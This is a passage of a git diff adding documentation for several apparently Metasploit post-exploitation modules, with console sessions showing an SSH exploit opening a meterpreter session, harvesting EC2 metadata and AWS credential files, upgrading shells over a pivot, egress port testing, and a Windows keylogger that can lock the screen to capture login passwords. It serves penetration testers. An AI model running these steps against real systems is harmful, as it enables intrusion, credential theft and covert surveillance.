linux/x86/meterpreter/bind_tcp + PAYLOAD => linux/x86/meterpreter/bind_tcp + resource (msf.rc)> set RHOST 192.168.2.2 + RHOST => 192.168.2.2 + resource (msf.rc)> run -j + [*] Exploit running as background job. + resource (msf.rc)> sleep 10 + [*] Started bind handler + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) + [*] 192.168.2.2:22 - Sending stager... + [*] Command Stager progress - 42.09% done (306/727 bytes) + [*] Sending stage (1495599 bytes) to 192.168.2.2 + [*] Command Stager progress - 100.00% done (727/727 bytes) + [*] Meterpreter session 1 opened (192.168.1.149:52075 -> 192.168.2.2:4444) at 2016-09-30 06:40:44 -0700 + + resource (msf.rc)> use post/multi/gather/aws_ec2_instance_metadata + resource (msf.rc)> set SESSION 1 + SESSION => 1 + resource (msf.rc)> run + [*] Gathering AWS EC2 instance metadata + [+] Saved AWS EC2 instance metadata to to /Users/jhart/.msf4/loot/20160930064126_default_192.168.2.2_aws.ec2.instance_509214.txt + [*] Post module execution completed + ``` + + Non-default, verbose mode: + + ``` + resource (msf.rc)> use exploit/multi/ssh/sshexec + resource (msf.rc)> set PASSWORD test + PASSWORD => test + resource (msf.rc)> set USERNAME test + USERNAME => test + resource (msf.rc)> set PAYLOAD linux/x86/meterpreter/bind_tcp + PAYLOAD => linux/x86/meterpreter/bind_tcp + resource (msf.rc)> set RHOST 192.168.2.2 + RHOST => 192.168.2.2 + resource (msf.rc)> run -j + [*] Exploit running as background job. + resource (msf.rc)> sleep 10 + [*] Started bind handler + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) + [*] 192.168.2.2:22 - Sending stager... + [*] Command Stager progress - 42.09% done (306/727 bytes) + [*] Sending stage (1495599 bytes) to 192.168.2.2 + [*] Command Stager progress - 100.00% done (727/727 bytes) + [*] Meterpreter session 1 opened (192.168.1.149:52775 -> 192.168.2.2:4444) at 2016-09-30 06:55:54 -0700 + resource (msf.rc)> use post/multi/gather/aws_ec2_instance_metadata + resource (msf.rc)> set SESSION 1 + SESSION => 1 + resource (msf.rc)> set VERBOSE true + VERBOSE => true + resource (msf.rc)> run + [*] Fetching http://169.254.169.254/latest/meta-data/ + [*] Gathering AWS EC2 instance metadata + [*] Fetching http://169.254.169.254/latest/meta-data/ami-id + [*] Fetching http://169.254.169.254/latest/meta-data/ami-launch-index + [*] Fetching http://169.254.169.254/latest/meta-data/ami-manifest-path + [*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/ + [*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/ami + [*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/root + [*] Fetching http://169.254.169.254/latest/meta-data/hostname + [*] Fetching http://169.254.169.254/latest/meta-data/instance-action + [*] Fetching http://169.254.169.254/latest/meta-data/instance-id + [*] Fetching http://169.254.169.254/latest/meta-data/instance-type + [*] Fetching http://169.254.169.254/latest/meta-data/local-hostname + [*] Fetching http://169.254.169.254/latest/meta-data/local-ipv4 + [*] Fetching http://169.254.169.254/latest/meta-data/mac + [*] Fetching http://169.254.169.254/latest/meta-data/metrics/ + [*] Fetching http://169.254.169.254/latest/meta-data/metrics/vhostmd + [*] Fetching http://169.254.169.254/latest/meta-data/network/ + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/ + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/ + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/ + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/device-number + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/interface-id + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/ipv4-associations/ + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/ipv4-associations/192.168.2.2 + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/local-hostname + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/local-ipv4s + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/mac + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/owner-id + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/public-hostname + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/public-ipv4s + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/security-group-ids + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/security-groups + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/subnet-id + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/subnet-ipv4-cidr-block + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-id + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-ipv4-cidr-block + [*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-ipv4-cidr-blocks + [*] Fetching http://169.254.169.254/latest/meta-data/placement/ + [*] Fetching http://169.254.169.254/latest/meta-data/placement/availability-zone + [*] Fetching http://169.254.169.254/latest/meta-data/profile + [*] Fetching http://169.254.169.254/latest/meta-data/public-hostname + [*] Fetching http://169.254.169.254/latest/meta-data/public-ipv4 + [*] Fetching http://169.254.169.254/latest/meta-data/public-keys/ + [*] Fetching http://169.254.169.254/latest/meta-data/public-keys/0/ + [*] Fetching http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key + [*] Fetching http://169.254.169.254/latest/meta-data/reservation-id + [*] Fetching http://169.254.169.254/latest/meta-data/security-groups + [*] Fetching http://169.254.169.254/latest/meta-data/services/ + [*] Fetching http://169.254.169.254/latest/meta-data/services/domain + [*] Fetching http://169.254.169.254/latest/meta-data/services/partition + [+] AWS EC2 instance metadata + { + "ami-id": "ami-2d39803a", + "ami-launch-index": "0", + "ami-manifest-path": "(unknown)", + "block-device-mapping": { + "ami": "/dev/sda1", + "root": "/dev/sda1" + }, + "hostname": "ip-192.168.2.2.ec2.internal", + "instance-action": "none", + "instance-id": "i-16fffae", + "instance-type": "t2.medium", + "local-hostname": "ip-192.168.2.2.ec2.internal", + "local-ipv4": "192.168.2.2", + "mac": "aa:bb:cc:dd:ee:ff", + "metrics": { + "vhostmd": "" + }, + "network": { + "interfaces": { + "macs": { + "aa:bb:cc:dd:ee:ff": { + "device-number": "0", + "interface-id": "eni-1234ff", + "ipv4-associations": { + "192.168.2.2": "192.168.2.2" + }, + "local-hostname": "ip-192.168.2.2.ec2.internal", + "local-ipv4s": "192.168.2.2", + "mac": "aa:bb:cc:dd:ee:ff", + "owner-id": "186638383", + "public-hostname": "ec2-192.168.2.2.compute-1.amazonaws.com", + "public-ipv4s": "192.168.2.2", + "security-group-ids": "sg-123a7", + "security-groups": "launch-wizard-15", + "subnet-id": "subnet-123453d", + "subnet-ipv4-cidr-block": "192.0.2.0/24", + "vpc-id": "vpc-fffffff", + "vpc-ipv4-cidr-block": "192.0.0.0/16", + "vpc-ipv4-cidr-blocks": "192.0.0.0/16" + } + } + } + }, + "placement": { + "availability-zone": "us-east-1e" + }, + "profile": "default-hvm", + "public-hostname": "ec2-192.168.2.2.compute-1.amazonaws.com", + "public-ipv4": "192.168.2.2", + "public-keys": { + "0": { + "openssh-key": "ssh-rsa <...redacted...> jhart" + } + }, + "reservation-id": "r-8675309", + "security-groups": "launch-wizard-15", + "services": { + "domain": "amazonaws.com", + "partition": "aws" + } + } + [+] Saved AWS EC2 instance metadata to to /Users/jhart/.msf4/loot/20160930065628_default_192.168.2.2_aws.ec2.instance_622503.txt + [*] Post module execution completed + ``` diff --git a/documentation/modules/post/multi/gather/aws_keys.md b/documentation/modules/post/multi/gather/aws_keys.md new file mode 100644 index 0000000000..4ebcaf5c0b --- /dev/null +++ b/documentation/modules/post/multi/gather/aws_keys.md @@ -0,0 +1,56 @@ +## Vulnerable Application + + Any system with a `shell` or `meterpreter` session. + +## Verification Steps + + 1. Get a `shell` or `meterpreter` session on some host. + 2. Do: ```use post/multi/gather/aws_keys``` + 3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one. + 4. Do: ```run``` + 5. If the system has readable configuration files containing AWS key material, they will be printed out. + +## Options + + None. + +## Scenarios + + ``` +msf post(aws_keys) > run + +[*] Enumerating possible user AWS config files +[*] Looking for AWS config/credentials files in /bin +[*] Looking for AWS config/credentials files in /dev +[*] Looking for AWS config/credentials files in /home/syslog +[*] Looking for AWS config/credentials files in /home/test +[*] Looking for AWS config/credentials files in /home/test ubuntu +[*] Looking for AWS config/credentials files in /home/ubuntu +[*] Looking for AWS config/credentials files in /nonexistent +[*] Looking for AWS config/credentials files in /root +[*] Looking for AWS config/credentials files in /usr/games +[*] Looking for AWS config/credentials files in /usr/sbin +[*] Looking for AWS config/credentials files in /var/backups +[*] Looking for AWS config/credentials files in /var/cache/man +[*] Looking for AWS config/credentials files in /var/cache/pollinate +[*] Looking for AWS config/credentials files in /var/lib/gnats +[*] Looking for AWS config/credentials files in /var/lib/landscape +[*] Looking for AWS config/credentials files in /var/lib/libuuid +[*] Looking for AWS config/credentials files in /var/list +[*] Looking for AWS config/credentials files in /var/mail +[*] Looking for AWS config/credentials files in /var/run/dbus +[*] Looking for AWS config/credentials files in /var/run/ircd +[*] Looking for AWS config/credentials files in /var/run/sshd +[*] Looking for AWS config/credentials files in /var/spool/lpd +[*] Looking for AWS config/credentials files in /var/spool/news +[*] Looking for AWS config/credentials files in /var/spool/uucp +[*] Looking for AWS config/credentials files in /var/www +AWS Key Data +============ + +Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile +------ ----------------- --------------------- ------- +/home/test/.aws/credentials BAR PRIVATE_TEST test +/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test +/root/.s3cfg root_key root_secret default +``` diff --git a/documentation/modules/post/multi/manage/shell_to_meterpreter.md b/documentation/modules/post/multi/manage/shell_to_meterpreter.md new file mode 100644 index 0000000000..66a28893a7 --- /dev/null +++ b/documentation/modules/post/multi/manage/shell_to_meterpreter.md @@ -0,0 +1,128 @@ +`shell_to_meterpreter` allows you to upgrade a shell session to Meterpreter. It can be launched as +a post module, or from the `sessions` command. By default, this module will use a reverse +Meterpreter. + +## Important Options + +**HANDLER** + +The handler option is for starting a multi/handler to receive the connection. By default this is +true, because you will need it. But if for some reason if you're setting one separately, you may +want to consider having it as false. + +**LHOST** + +The LHOST option is for the reverse Meterpreter you are upgrading to. By default, the module can +figure it out for you. But over a pivot, you will need to manually set this, because session +objects don't necessarily have that information. + +**LPORT** + +The LPORT option is also for the reverse Meterpreter you are upgrading to. + +**PAYLOAD_OVERRIDE** + +This is an advanced option. If you don't want to use the default reverse Meterpreter, then you can +use this. + +## Scenarios + +**Using sessions -u** + +`sessions -u` is the same as running the post module against a specific session. However, this +is limited to using the default reverse Meterpreter payload, so you will not be able to use it +via a pivot. + +Usage is rather simple. At the msf prompt, first off, read the sessions table to see which one you +want to upgrade: + +``` +msf > sessions + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 shell windows 192.168.146.1:4444 -> 192.168.146.128:1204 (192.168.146.128) + +msf > +``` + +In this demonstration, session 1 is a shell, so we upgrade that: + +``` +msf > sessions -u 1 +``` + +**Upgrading a shell via a pivot** + +This scenario is a little tricky, because the default options won't work over a pivot. The problem +is that if you got a session with a bindshell, your LHOST will say "Local Pipe". And if you got it +with a reverse shell, the LHOST is actually an IP range. Neither is an acceptable format for the +LHOST option. + +There are two ways you can choose: either you must manually set LHOST, or you could choose a +bind Meterpreter. The second is really easy, all you need to do is ```set PAYLOAD_OVERRIDE```. + +If you prefer to manually set LHOST, this should be the compromised host you're pivoting from. +Perhaps a digram will help to explain this: + +``` +|-------------| |-------------------| |-------------------| +| Attacker | <---> | Compromised box A | <---> | Compromised box B | +|-------------| |-------------------| |-------------------| + 192.168.146.1 192.168.146.128 + 192.168.1.101 (VPN) 192.168.1.102(VPN) +``` + +In this example, let's start with breaking into box A (192.168.146.128): + +``` +[*] Sending stage (957999 bytes) to 192.168.146.128 +[*] Meterpreter session 1 opened (192.168.146.1:4444 -> 192.168.146.128:1208) at 2016-04-28 22:45:09 -0500 + +meterpreter > +``` + +We decide that box A is on a VPN, with IP 192.168.1.101. Also, we found box B as 192.168.1.102. We +need to create that pivot: + +``` +msf > route add 192.168.1.1 255.255.255.0 1 +[*] Route added +``` + +And we break into box B (192.168.1.102) with a Windows bind shell: + +``` +[*] Command shell session 2 opened (Local Pipe -> Remote Pipe) at 2016-04-28 22:47:03 -0500 +``` + +Notice this says "Local Pipe", which means the box B's session object doesn't really know box A's IP. +If you try to run shell_to_meterpreter this way, this is all you get: + +``` +msf post(shell_to_meterpreter) > run + +[*] Upgrading session ID: 2 +[-] LHOST is "Local Pipe", please manually set the correct IP. +[*] Post module execution completed +``` + +To upgrade box B's shell, set LHOST to box A's 192.168.1.101. And that should connect correctly: + +``` +msf post(shell_to_meterpreter) > run + +[*] Upgrading session ID: 2 +[*] Starting exploit/multi/handler +[*] Started reverse TCP handler on 192.168.1.101:4433 via the meterpreter on session 1 +[*] Starting the payload handler... +[*] Sending stage (957999 bytes) to 192.168.1.102 +[-] Powershell is not installed on the target. +[*] Command stager progress: 1.66% (1699/102108 bytes) +... +[*] Command stager progress: 100.00% (102108/102108 bytes) +[*] Meterpreter session 3 opened (192.168.146.1-192.168.146.128:4433 -> 192.168.1.102:1056) at 2016-04-28 22:50:56 -0500 +``` diff --git a/documentation/modules/post/multi/recon/local_exploit_suggester.md b/documentation/modules/post/multi/recon/local_exploit_suggester.md new file mode 100644 index 0000000000..89d54765bb --- /dev/null +++ b/documentation/modules/post/multi/recon/local_exploit_suggester.md @@ -0,0 +1,31 @@ +The Local Exploit Suggester is a post-exploitation module that you can use to check a system for local vulnerabilities. It performs local exploit checks; it does not actually run any exploits, which is useful because this means you to scan a system without being intrusive. In addition to being stealthy, it's a time saver. You don't have to manually search for local exploits that will work; it'll show you which exploits the target is vulnerable to based on the system's platform and architecture. + +The Local Exploit Suggester is available for Python, PHP, and Windows Meterpreter. + + +## Vulnerable Application + +To use the Local Exploit Suggester: + +* You must have an open Meterpreter session. + +## Verification Steps + +Please see the Overview section. + +##Options + +You can set the following options for the Local Exploit Suggester: + +* **showdescription** - Set this option to true to see more details about each exploit. + + +## Scenarios + +When the Local Exploit Suggester runs, it displays a list of local exploits that the target may be vulnerable to, and it tells you the likelihood of exploitation. + +The following terms are used to help you understand how vulnerable a target is to a particular exploit: + +* **Vulnerable** - Indicates that the target is vulnerable. +* **Appears** - Indicates that the target may be vulnerable based on the file version, but the vulnerable code has not been tested. +* **Detected** - Indicates that the target has the file, but it cannot be determined whether or not the target is vulnerable. \ No newline at end of file diff --git a/documentation/modules/post/multi/recon/multiport_egress_traffic.md b/documentation/modules/post/multi/recon/multiport_egress_traffic.md new file mode 100644 index 0000000000..cda2670c92 --- /dev/null +++ b/documentation/modules/post/multi/recon/multiport_egress_traffic.md @@ -0,0 +1,226 @@ +This is a Meterpreter post exploitation module that will generate TCP and UDP packets on a range of ports and send them to a provided IP address. The primary purpose of this is for 'egress busting' and provides a rapid method of generating legitimate TCP or UDP traffic on each port. This is useful for red-teaming type exercises in which you have meterpreter running on a host but wish to determine additional ports over which egress traffic is permitted. + +It can generate the packets in two different ways; it can call the Windows sockets API (using railgun for Windows clients) or it can create the packets using Rex. + +NATIVE mode uses Rex sockets to generate traffic. +WINAPI mode uses Winsock APIs to generate traffic. + +As it currently stands, the user will need to set up a listener/tcpdump/wireshark to determine the ports that are open. My [egresscheck-framework](https://github.com/stufus/egresscheck-framework ) code can help with that, but any listener would be fine. + +# Example - Windows Meterpreter + +Scenario is: + +* The victim host is 192.0.2.104 +* The attacker is 192.0.2.1 +* The attacker wishes to generate TCP packets to 192.0.2.1 (with meterpreter on 192.0.2.104) on ports 22,23,53,80,88,443 and 445 to see if any of the packets reach 192.0.2.1. Note that the attacker has control of 192.0.2.1. +* The compromised machine is a Windows 8.1 machine + +``` +msf> sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 2 meterpreter x86/win32 TESTER\Stuart @ TESTER 192.0.2.1:9877 -> 192.0.2.104:43595 (192.0.2.104) + +msf> set METHOD NATIVE +METHOD => NATIVE +msf> set PORTS 22,23,53,80,88,443,445 +PORTS => 22,23,53,80,88,443,445 +msf> set PROTOCOL TCP +PROTOCOL => TCP +msf> set SESSION 2 +SESSION => 2 +msf> set TARGET 192.0.2.1 +TARGET => 192.0.2.1 +msf> set THREADS 3 +THREADS => 3 +msf> show options + +Module options (post/multi/manage/multiport_egress_traffic): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + METHOD NATIVE yes The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only). (Accepted: NATIVE, WINAPI) + PORTS 22,23,53,80,88,443,445 yes Ports to test. + PROTOCOL TCP yes Protocol to use. (Accepted: TCP, UDP) + SESSION 2 yes The session to run this module on. + TARGET 192.0.2.1 yes Destination IP address. + THREADS 3 yes Number of simultaneous threads/connections to try. + +msf> run +[*] Generating TCP traffic to 192.0.2.1... +[*] TCP traffic generation to 192.0.2.1 completed. +[*] Post module execution completed +msf> set VERBOSE TRUE +VERBOSE => TRUE +msf> run +[*] Number of threads: 3. +[*] Generating TCP traffic to 192.0.2.1... +[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/23 +[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/53 +[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/22 +[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/53 +[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/23 +[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/22 +[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/88 +[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/80 +[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/443 +[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/88 +[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/443 +[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/80 +[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/445 +[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/445 +[*] TCP traffic generation to 192.0.2.1 completed. +[*] Post module execution completed +``` + +Here is an example with the METHOD parameter set to WINAPI: + +``` +msf> set METHOD WINAPI +METHOD => WINAPI +msf> run + +[*] Number of threads: 3. +[*] Generating TCP traffic to 192.0.2.1... +[*] [2:WINAPI] Set up socket for 192.0.2.1 port TCP/53 (Handle: 14908) +[*] [1:WINAPI] Set up socket for 192.0.2.1 port TCP/23 (Handle: 14856) +[*] [2:WINAPI] Connecting to 192.0.2.1:TCP/53 +[*] [1:WINAPI] Connecting to 192.0.2.1:TCP/23 +[*] [0:WINAPI] Set up socket for 192.0.2.1 port TCP/22 (Handle: 14300) +[*] [0:WINAPI] Connecting to 192.0.2.1:TCP/22 +[*] [2:WINAPI] There was an error sending a connect packet for TCP socket (port 53) Error: 10061 +[*] [0:WINAPI] There was an error sending a connect packet for TCP socket (port 22) Error: 10061 +[*] [1:WINAPI] There was an error sending a connect packet for TCP socket (port 23) Error: 10061 +[*] [1:WINAPI] Set up socket for 192.0.2.1 port TCP/88 (Handle: 13868) +[*] [0:WINAPI] Set up socket for 192.0.2.1 port TCP/80 (Handle: 14300) +[*] [1:WINAPI] Connecting to 192.0.2.1:TCP/88 +[*] [2:WINAPI] Set up socket for 192.0.2.1 port TCP/443 (Handle: 14908) +[*] [0:WINAPI] Connecting to 192.0.2.1:TCP/80 +[*] [2:WINAPI] Connecting to 192.0.2.1:TCP/443 +[*] [1:WINAPI] There was an error sending a connect packet for TCP socket (port 88) Error: 10061 +[*] [2:WINAPI] There was an error sending a connect packet for TCP socket (port 443) Error: 10061 +[*] [0:WINAPI] There was an error sending a connect packet for TCP socket (port 80) Error: 10061 +[*] [0:WINAPI] Set up socket for 192.0.2.1 port TCP/445 (Handle: 13868) +[*] [0:WINAPI] Connecting to 192.0.2.1:TCP/445 +[*] [0:WINAPI] There was an error sending a connect packet for TCP socket (port 445) Error: 10061 +[*] TCP traffic generation to 192.0.2.1 completed. +[*] Post module execution completed +``` + +UDP also works correctly: + +``` +msf> set PROTOCOL UDP +PROTOCOL => UDP +msf> set METHOD NATIVE +METHOD => NATIVE +msf> show options + +Module options (post/multi/manage/multiport_egress_traffic): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + METHOD NATIVE yes The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only). (Accepted: NATIVE, WINAPI) + PORTS 22,23,53,80,88,443,445 yes Ports to test. + PROTOCOL UDP yes Protocol to use. (Accepted: TCP, UDP) + SESSION 2 yes The session to run this module on. + TARGET 192.0.2.1 yes Destination IP address. + THREADS 3 yes Number of simultaneous threads/connections to try. + +msf> run + +[*] Number of threads: 3. +[*] Generating UDP traffic to 192.0.2.1... +[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/23 +[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/53 +[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/22 +[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/443 +[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/80 +[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/88 +[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/445 +[*] UDP traffic generation to 192.0.2.1 completed. +[*] Post module execution completed +``` + +Note that the errors showing in verbose mode are normal; this is because there is nothing actually listening on any of those ports, meaning that the calls will fail. + +Running tcpdump on 192.0.2.1 showed all the connection attempts as normal. + +# Example - Linux Meterpreter + +Scenario is: + +* The victim host is 192.0.2.103 +* The attacker is 192.0.2.1 +* The attacker wishes to generate TCP packets to 192.0.2.1 (with linux meterpreter on 192.0.2.103) on ports 22,23,53,80,88,443 and 445 to see if any of the packets reach 192.0.2.1. Note that the attacker has control of 192.0.2.1. +* The compromised machine is a Linux machine (running Kali) + +``` +msf> sessions -l + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 4 meterpreter x86/linux uid=1000, gid=1001, euid=1000, egid=1001, suid=1000, sgid=1001 @ kali 192.0.2.1:4322 -> 192.0.2.103:37489 (192.0.2.103) + +msf> run +[*] Number of threads: 3. +[*] Generating TCP traffic to 192.0.2.1... +[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/23 +[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/53 +[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/22 +[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/23 +[*] [1:NATIVE] Connecting to 192.0.2.1 port TCP/88 +[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/53 +[*] [2:NATIVE] Connecting to 192.0.2.1 port TCP/443 +[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/22 +[*] [1:NATIVE] Error connecting to 192.0.2.1 TCP/88 +[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/80 +[*] [2:NATIVE] Error connecting to 192.0.2.1 TCP/443 +[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/80 +[*] [0:NATIVE] Connecting to 192.0.2.1 port TCP/445 +[*] [0:NATIVE] Error connecting to 192.0.2.1 TCP/445 +[*] TCP traffic generation to 192.0.2.1 completed. +[*] Post module execution completed +msf> set PROTOCOL UDP +PROTOCOL => UDP +msf> run +[*] Number of threads: 3. +[*] Generating UDP traffic to 192.0.2.1... +[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/23 +[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/53 +[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/22 +[*] [2:NATIVE] Connecting to 192.0.2.1 port UDP/443 +[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/80 +[*] [1:NATIVE] Connecting to 192.0.2.1 port UDP/88 +[*] [0:NATIVE] Connecting to 192.0.2.1 port UDP/445 +[*] UDP traffic generation to 192.0.2.1 completed. +[*] Post module execution completed +msf> show options + +Module options (post/multi/manage/multiport_egress_traffic): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + METHOD NATIVE yes The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only). (Accepted: NATIVE, WINAPI) + PORTS 22,23,53,80,88,443,445 yes Ports to test. + PROTOCOL UDP yes Protocol to use. (Accepted: TCP, UDP) + SESSION 4 yes The session to run this module on. + TARGET 192.0.2.1 yes Destination IP address. + THREADS 3 yes Number of simultaneous threads/connections to try. + +msf> +``` + +![msfegress_tcpdump_udp](https://cloud.githubusercontent.com/assets/12296344/11459958/a7862f22-96da-11e5-86a2-31a4c0153944.png) + +# Future Work + +This module did not appear to work on python meterpreter. diff --git a/documentation/modules/post/windows/capture/keylog_recorder.md b/documentation/modules/post/windows/capture/keylog_recorder.md new file mode 100644 index 0000000000..1175b55199 --- /dev/null +++ b/documentation/modules/post/windows/capture/keylog_recorder.md @@ -0,0 +1,76 @@ +## Overview + +This module captures keystrokes from a Windows target and saves them to a text file in loot. Keystrokes can be captured from explorer.exe, winlogon.exe, or a specific process of your choice. The module is capable of being run as a job to keep the Framework's user interface available for other tasks. + +## Requirements +- Windows Meterpreter Session + +## Module Options +- **CAPTURE_TYPE** - This option sets the process where the module records keystrokes. Accepted: explorer, winlogon, or pid. Default value is explorer. + +- **INTERVAL** - The interval in seconds that the module uses for recording keystrokes. The log file goes to a new line at the end of each interval. Default value is 5 seconds. + +- **LOCKSCREEN** - This option locks the screen of the target when set to TRUE. CAPTURE_TYPE must be set to winlogon. MIGRATE must be set to TRUE or the session must already be in winlogon.exe. Defalt value is FALSE. + +- **MIGRATE** - This option migrates the session based on the CAPTURE_TYPE. Explorer.exe for explorer, winlogon.exe for winlogon, or a specified PID for pid. Default value is FALSE. + +- **PID** - The PID of a process to migrate the session into. CAPTURE_TYPE of pid must be set, and the sepecified PID must exist on the target machine. + +- **SESSION** - The session to run the module on. + +### Advanced Options +- **ShowKeystrokes** - This option prints the captured keystrokes to the Framework UI on the specified interval. Default is FALSE. +- **TimeOutAction** - This option sets the behavior the module takes if the key capture request times out. (See below.) Accepted: wait or exit. Default value is wait. + +## Usage +The Meterpreter session must be located in an appropriate process for keystroke recording to work properly. This is described in the below-listed capture types. This module can migrate the session if MIGRATE is set to TRUE. If winlogon or PID migration fails, the module will exit. Set MIGRATE to FALSE if migration will be performed manually or through another module. + +### Capture Types +- **Explorer.exe** - __Session must be in explorer.exe__ - The most common capture type. Keystrokes are recorded from most user level applications. Applications running at an elevated level will likely not get recorded. **NOTE: Sessions running with elevated privileges are downgraded to user level when migrated into explorer.exe.** It is recommended that a second session be opened for keystroke recording if elevated priveledges are to be maintained. + +- **Winlogon.exe** - __Session must be in winlogon.exe__ - Administrator or SYSTEM rights are required to migrate to winlogon.exe. Keylogging from this process records usernames and passwords as users log in. This capture type does not record keystrokes from any other process. Setting LOCKSCREEN to true locks Windows when the module is executed. This forces the user to unlock the computer, and their password is captured. + +- **PID** - __Session must be in the specific process to be recorded.__ - This option is useful for recording keystrokes in applications or process that run with elevated priveledges. However, admin or SYSTEM rights are required to migrate to these processes. Only keystrokes from the specified process are recorded. + +## Running Module as a Job +It is recommended to run this module as a job using: `exploit -j` or `run -j`. As a job, the module runs in the background preventing it from tying up the Framework's user interface. To stop capturing keystrokes, kill the job using `jobs -k`. The module records the last few keystrokes before exit. Stopping the job can take up to 30 seconds. If the session is killed, the key log job shuts down automatically. + +### TimeOutAction +This module has two actions it can take if module requests time out. This occurs with packet-based payloads like `reverse_http` or `reverse_https` when the target system stops responding to requests for a specific period of time. The default is 300 seconds. Sessions can stop responding due to various events such as network problems, system shut down, system sleep, or user log off. + +- **WAIT** - With this option selected, the module suspends attempting to gather keystrokes after the timeout. It waits for the session to become active again, then resumes capturing keystrokes. The output log reflects that recording was suspended along with a timestamp. If the session becomes active again, the log indicates this along with a timestamp. The wait option allows keystrokes to be logged over multiple system sleep cycles. In the event that the session dies, the recording job is stopped automatically. + +- **EXIT** - With this option selected, the module exits and the job is killed when the timeout occurs. The output log reflects the exit along with a timestamp. + +### Running Module Stand Alone +When running the module stand alone, it will prevent the Framework UI from being use for anything else until you exit the module. Use `CTRL-C` to exit. The module will save the last few keystrokes. This may take up to 30 seconds to complete. + +## Example Output +``` +Keystroke log from explorer.exe on JULY with user JULY\User started at 2016-07-13 21:01:56 -0500 + +This is an ex +ample output from keylog_recorder. + On this line I make a typpor +o. + Username Password + + + Copy c v + +Keylog Recorder timed out - now waiting at 2016-07-13 21:09:33 -0500 + + +Keylog Recorder resumed at 2016-07-13 21:11:36 -0500 + + T +his is keys logged after the computer + was put to sleep and then woken back up. + + +Keylog Recorder exited at 2016-07-13 21:12:44 -0500 +``` + + + + diff --git a/documentation/modules/post/windows/gather/ad_to_sqlite.md b/documentation/modules/post/windows/gather/ad_to_sqlite.md new file mode 100644 index 0000000000..e6c0321023 --- /dev/null +++ 